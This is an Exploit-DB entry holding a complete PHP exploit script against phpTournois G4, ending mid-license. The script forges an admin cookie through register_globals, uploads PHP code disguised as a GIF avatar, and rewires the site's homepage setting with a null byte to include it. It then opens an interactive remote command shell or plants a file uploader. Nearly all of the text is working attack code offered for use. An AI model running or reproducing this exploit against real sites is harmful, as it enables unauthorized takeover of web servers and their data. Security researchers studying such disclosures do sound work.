Exploit-DB #5404
Description: phpTournois G4 - Arbitrary File Upload / Code Execution
Type: webapps
Platform: php
Date: 2008-04-08
Author: Charles Fol

Exploit:
<?php
/*
 * Name: phpTournois <= G4 Remote File Upload/Code Execution Exploit
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date: 04-06-08
 *
 * -> Remote Code Execution
 * -> Remote File Upload
 *
 * When testing if we are admin, phpTournois checks if $grade['a']=='a'.
 * But when we are not loggued in, this var is not defined.
 * So, using register_globals, we can define it and let the CMS think we
 * are authentificated.
 * Using configuration zone and avatar upload, we can do a LFI, and then
 * everything is possible.
 *
 */

print "\n";
print "   phpTournois <= G4 Remote File Upload/Code Execution Exploit\n";
print "    by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<3)
{
	print "usage: php phptn_exploit.php -url <url> [options]\n\n";
	print " Options: -mode    0 -> Remote Upload (default)\n";
	print "                   1 -> Remote Code Execution\n";
	print "          -proxy   If you want to use a proxy.\n";
	exit();
}

$url  = getparam("url",1);
$mode = getparam("mode") ? getparam("mode"): 0;
$prx  = getparam("proxy");

$xpl = new phpsploit();
if($prx) $xpl->proxy($prx);
$xpl->addcookie("grade[a]","a");

/* Code in the fake avatar */
if($mode==0)	/* upload code */
{
	$file_upload_code = '<?php if(isset($_POST[\'d\'])) unlink(__FILE__); ?><?php if(isset($_POST[\'upload\'])) { if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" enctype="multipart/form-data"><center><input type="file" name="file"><input type="submit" name="upload" value="Upload"><input type="submit" name="d" value="x"></center></form><br><form method="get"></form>';
	$c0de =	 '<?php'."\n"
			.'error_reporting(0);'
			."if(isset(\$_SERVER['HTTP_UPLOAD'])) { \$f=fopen('w00t.php','w');fputs(\$f,'".preg_replace("#'#i","\\'",$file_upload_code)."');print 'upfiledone'; }\n"
			.'include("include/files/accueil.php"); ?>';
}
else		/* shell code */
{
	$c0de =	 '<?php'."\n"
			.'error_reporting(0);'
			.'if(isset($_SERVER[HTTP_SHELL]))'
			.'{print 123456789;eval($_SERVER[HTTP_SHELL]);exit(123456789);}'
			.'include("include/files/accueil.php"); ?>';
}

/* Upload avatar with PHP c0de */
print " * uploading avatar\t";

$avatar = array(frmdt_url		=> $url.'?page=avatars&op=modify',
		'avatar'		=> array(frmdt_filename => '1.gif',frmdt_type => 'image/gif',frmdt_content => $c0de),
		'id'			=> 1,
		'mode'			=> 'J',
		'avatarurl'		=> '',
		'avatarremoteurl'	=> '',
		'MAX_FILE_SIZE'		=> 999999,
		);

if(preg_match("#location.href='\?page=avatars&id=\d+&mode=J'#i",$xpl->formdata($avatar))) print "done\n";
else die("error\n");

if(preg_match('#<span style="float: right;" ><img src="([^"]+)#i',$xpl->get($url.'?page=joueurs&id=1'),$match)) $img = $match[1];
else die(" * can't find image name\n");

/* Change homepage to our avatar, with a null byte, after saving website name. */
print " * changing homepage\t";
preg_match('#name=nomsite value="([^ ]+)"#i',$xpl->get($url.'?page=configuration&op=admin'),$all);
$postdata = "nomsite=$all[1]&urlsite=$url&logo=logo.gif&pagestart=../.$img%00&inscription_joueur=1&inscription_equipe=1&places=200&emailcontact=&emailinscription=&langue=english&theme=phptournois&gzip=1&poulewin=3&poulenull=2&pouleloose=1&poulefor=0&information=&reglement=&decharge=&shoutbox=1&shoutlimit=20&shoutboxc=255&news=1&ladder=1&messagerie=1&support=0&faq=1&serveur=1&download=1&liens=1&galerie=1&livredor=1&sponsors=0&partenaires=1&forum=1&contact=1&horloge=1&commande=1&avatar=A&avatar_upload=1&avatar_remote=1&avatar_gallerie=0&avatar_filesize_max=100000&avatar_x_max=80&avatar_y_max=80&irc=1&ircserver=euroserv.fr.quakenet.org&ircport=6667&irc[CREDENTIAL_REDACTED]=%23phptournois+%23lan+%23lan.cs+%23lan.q3&mail=N&smtpserver=&smtpuser=&smtppassword=";
$xpl->post($url.'?page=configuration&op=modify',$postdata);
print "done\n";

$success = true;

if($mode==0)	/* upload mode */
{
	print " * loading uploader\t";
	$xpl->addheader("upload","1");
	if(preg_match("#upfiledone#i",$xpl->get($url))) print "done\n";
	else {$success=false;print "error\n";}
}
else			/* shell mode */
{
	print "\n\$shell> ";
	while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
	{
		$xpl->reset('header');
		$xpl->addheader('Shell',"system('$cmd');");
		$xpl->get($url);
		$data = explode('123456789',$xpl->getcontent());
		print $data[1]."\n\$shell> ";
	}
}

/* Reinitialize website name and homepage and erase user avatar */
print " * repairing homepage\t";
$xpl->get('http://myannu.fr/?page=avatars&op=delete&id=1&mode=J');
$postdata = "nomsite=$all[1]&urlsite=$url&logo=logo.gif&pagestart=accueil&inscription_equipe=1&places=200&emailcontact=&emailinscription=&langue=english&theme=phptournois&gzip=1&poulewin=3&poulenull=2&pouleloose=1&poulefor=0&information=&reglement=&decharge=&shoutbox=1&shoutlimit=20&shoutboxc=255&news=1&ladder=1&messagerie=1&support=0&faq=1&serveur=1&download=1&liens=1&galerie=1&livredor=1&sponsors=0&partenaires=1&forum=1&contact=1&horloge=1&commande=1&avatar=A&avatar_upload=1&avatar_remote=1&avatar_gallerie=0&avatar_filesize_max=100000&avatar_x_max=80&avatar_y_max=80&irc=1&ircserver=euroserv.fr.quakenet.org&ircport=6667&irc[CREDENTIAL_REDACTED]=%23phptournois+%23lan+%23lan.cs+%23lan.q3&mail=N&smtpserver=&smtpuser=&smtppassword=";
$xpl->post($url.'?page=configuration&op=modify',$postdata);
print "done\n";

if($success) print "\n * uploader: ".$url."w00t.php\n";

function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) return $argv[$value+1];
	}
	if($opt) exit("\n-$param parameter required");
	else return;
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Pub